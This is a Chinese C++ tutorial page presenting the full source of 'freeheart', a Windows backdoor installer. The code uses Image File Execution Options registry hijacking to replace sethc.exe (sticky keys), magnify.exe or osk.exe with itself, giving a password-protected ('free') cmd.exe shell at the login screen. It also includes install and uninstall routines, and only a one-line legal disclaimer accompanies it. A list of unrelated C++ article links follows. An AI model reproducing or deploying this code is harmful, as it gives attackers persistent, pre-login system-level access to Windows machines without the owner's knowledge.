C++映像劫持后门实例分析
更新时间:2020年4月25日 17:39 点击:1342
本文实例讲述了C++映像劫持后门的方法。分享给大家供大家参考。具体如下:
// freeheart.cpp : Defines the entry point for the console application. //学习交流使用,违法使用后果自负。 // by:cnblogs.com/blogg time 2013.5.24 // argv 0 = freeheart.exe // argv 1 = -i // argv 2 = name.exe // argv 3 = 1 2 3 // 此程序使用的映像劫持技术, // 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。 //[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options] // #include "stdafx.h" #include "windows.h" #include "atlbase.h" #include <iostream> using namespace std; int main(int argc, char* argv[]) { void anzhuang(char *Path,char *filename); void xiezai(char *path,char *hName); void CopyZiji(char *CopyPath); char *password = "free"; //真密码缓冲区 char *shuruPwd = ""; //输入的密码缓冲区 int errorbuff = 0; char *PathBuff = ""; char *FileName = ""; char *chsname = "sethc.exe"; //SHIFT粘贴键程序的名称 char *fangdajing = "magnify.exe"; // char *pingmujianpan = "osk.exe"; // LPTSTR sysbuff; //得到系统路径的缓冲区 TCHAR tchBuffer2[1024]; //申请一个字符变量数组 sysbuff = tchBuffer2; //把系统的路径放到这个变量数组里 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系统路径 { sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。 } if (argv[1] != NULL) { //安装命令判断 if (strcmp(argv[1],"-i") == 0) { if (argv[2] != NULL) { FileName=argv[2]; } else { cout<<"请输入文件名!"; return 0; } if(argv[3] != NULL) { if(strcmp(argv[3],"1") == 0) { anzhuang(FileName,chsname); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); cout<<"创建完成! : "<<PathBuff<<endl; return 0; } if(strcmp(argv[3],"2") == 0) { anzhuang(FileName,fangdajing); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); //调用函数 cout<<"创建完成! : "<<PathBuff<<endl; return 0; } if(strcmp(argv[3],"3") == 0) { anzhuang(FileName,pingmujianpan); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); //调用函数 cout<<"创建完成! : "<<PathBuff<<endl; return 0; } } else { cout<<"请输入参数!"<<endl; } return 0; } //卸载 if (strcmp(argv[1],"-u") == 0) { if(argv[2] != NULL) { if(strcmp(argv[2],"1") == 0) { xiezai(sysbuff,chsname); cout<<"删除文件成功!"<<endl; return 0; } if(strcmp(argv[2],"2") == 0) { xiezai(sysbuff,fangdajing); cout<<"删除文件成功!"<<endl; return 0; } if(strcmp(argv[2],"3") == 0) { xiezai(sysbuff,pingmujianpan); cout<<"删除文件成功!"<<endl; return 0; } } else { cout<<"请输入参数!"<<endl; } return 0; } //为什么会进入这里 因为debugger a.exe 其实是两个参数,因为if (argv[1] != NULL) 也就是第二个参数不等于空的话执行下面的语句。 while(errorbuff<3) //循环三次,错误。 { cout<<"password:"; cin>>shuruPwd; if (strcmp(shuruPwd,password) == 0) { system("cmd.exe"); break; } else { cout<<"密码错误!"<<endl; } errorbuff++; //自加一次 } return 0; } system("color a"); cout<<"-----------------------------------------------------"<<endl; cout<<"欢迎光临自由的心,祝您好运!"<<endl; cout<<"1: sethc.exe Shift后门\n"; cout<<"2: magnify.exe 放大镜后门\n"; cout<<"3: osk.exe 屏幕键盘后门\n"; cout<<"-----------------------------------------------------"<<endl; cout<<"安装: freeheart.exe -i xx.exe 1"<<endl; cout<<"卸载: freeheart.exe -u 1"<<endl; cout<<"连接密码:free"<<endl; cout<<"-----------------------------------------------------"<<endl; return 0; } //安装函数 void anzhuang(char *Path,char *filename) { HKEY hSoftKey = NULL; HKEY hCompanyKey = NULL; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) { if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS) { LPBYTE Value=(LPBYTE)Path; long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); RegCloseKey(hCompanyKey); } RegCloseKey(hSoftKey); } } //卸载函数 void xiezai(char *path,char *hName) //hName 传递进来的程序名 { HKEY hSoftKey = NULL; LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) { DWORD len = 256; DWORD type = REG_SZ; LPBYTE last = new BYTE[256]; LPCTSTR hname = (LPCTSTR)hName; char *HHname; HKEY hKey; //在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。 char* DelCom; HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注册表的路径 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS) { DelCom=strcat(path,reinterpret_cast <char*>(last)); DeleteFile(DelCom); //删除文件 RegDeleteKey(hSoftKey,hname); //删除注册表 } RegCloseKey(hSoftKey); //关闭句柄 RegCloseKey(hKey); //关闭句柄 } } void CopyZiji(char *CopyPath) //将自身生成exe文件复制到指定的路径下 { char PathBuff[MAX_PATH]; //申请一个字符变量数组,大小是系统最大的长度。 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身复制到目标路径当中 }
希望本文所述对大家的C++程序设计有所帮助。
下一篇: C++中的重载、覆盖、隐藏介绍
相关文章
- vector是表示可以改变大小的数组的序列容器,本文主要介绍了C++STL标准库std::vector的使用详解,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2022-03-06
- 这篇文章主要介绍了C++中取余运算的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-23
- 这篇文章主要介绍了C++ string常用截取字符串方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
- 本文通过例子,讲述了C++调用C#的DLL程序的方法,作出了以下总结,下面就让我们一起来学习吧。...2020-06-25
- 本篇文章主要介绍了C++中四种加密算法之AES源代码,小编觉得挺不错的,现在分享给大家,也给大家做个参考。...2020-04-25
- 整数拆分,指把一个整数分解成若干个整数的和。本文重点给大家介绍C++ 整数拆分方法详解,非常不错,感兴趣的朋友一起学习吧...2020-04-25
- 这篇文章主要介绍了C++中Sort函数详细解析,sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变...2022-08-18
- 这篇文章主要介绍了C++万能库头文件在vs中的安装步骤(图文),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-23
- 这篇文章主要介绍了C++ bitset用法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
- 本篇文章小编并不是为大家讲解string类型的用法,而是讲解我个人比较好奇的问题,就是string 类型占几个字节...2020-04-25
- 这篇文章主要为大家详细介绍了C++ Eigen库计算矩阵特征值及特征向量,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-04-25
- 这篇文章主要介绍了C++ pair的用法实例详解的相关资料,需要的朋友可以参考下...2020-04-25
- 这篇文章主要介绍了VSCode C++多文件编译的简单使用方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-03-29
- 虽然C++11引入了智能指针的,但是开发人员在与内存的斗争问题上并没有解放,如果我门实用不当仍然有内存泄漏问题,其中智能指针的循环引用缺陷是最大的问题。下面通过实例代码给大家介绍c++中的循环引用,一起看看吧...2020-04-25
- 这篇文章主要给大家介绍了关于C++随机点名生成器的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
- map容器是C++ STL中的重要一员,删除map容器中value为指定元素的问题是我们经常与遇到的一个问题,下面这篇文章主要给大家介绍了关于利用C++如何删除map容器中指定值的元素的相关资料,需要的朋友可以参考借鉴,下面来一起看看吧。...2020-04-25
- 这篇文章主要介绍了C++ 约瑟夫环问题案例详解,本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下...2021-08-15
- 这篇文章主要介绍了C++中cin的用法详细,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
- 本篇文章是对C++中的常见编译错误进行了详细的分析介绍,需要的朋友参考下...2020-04-25
- 这篇文章主要介绍了c++优先队列(priority_queue)用法详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25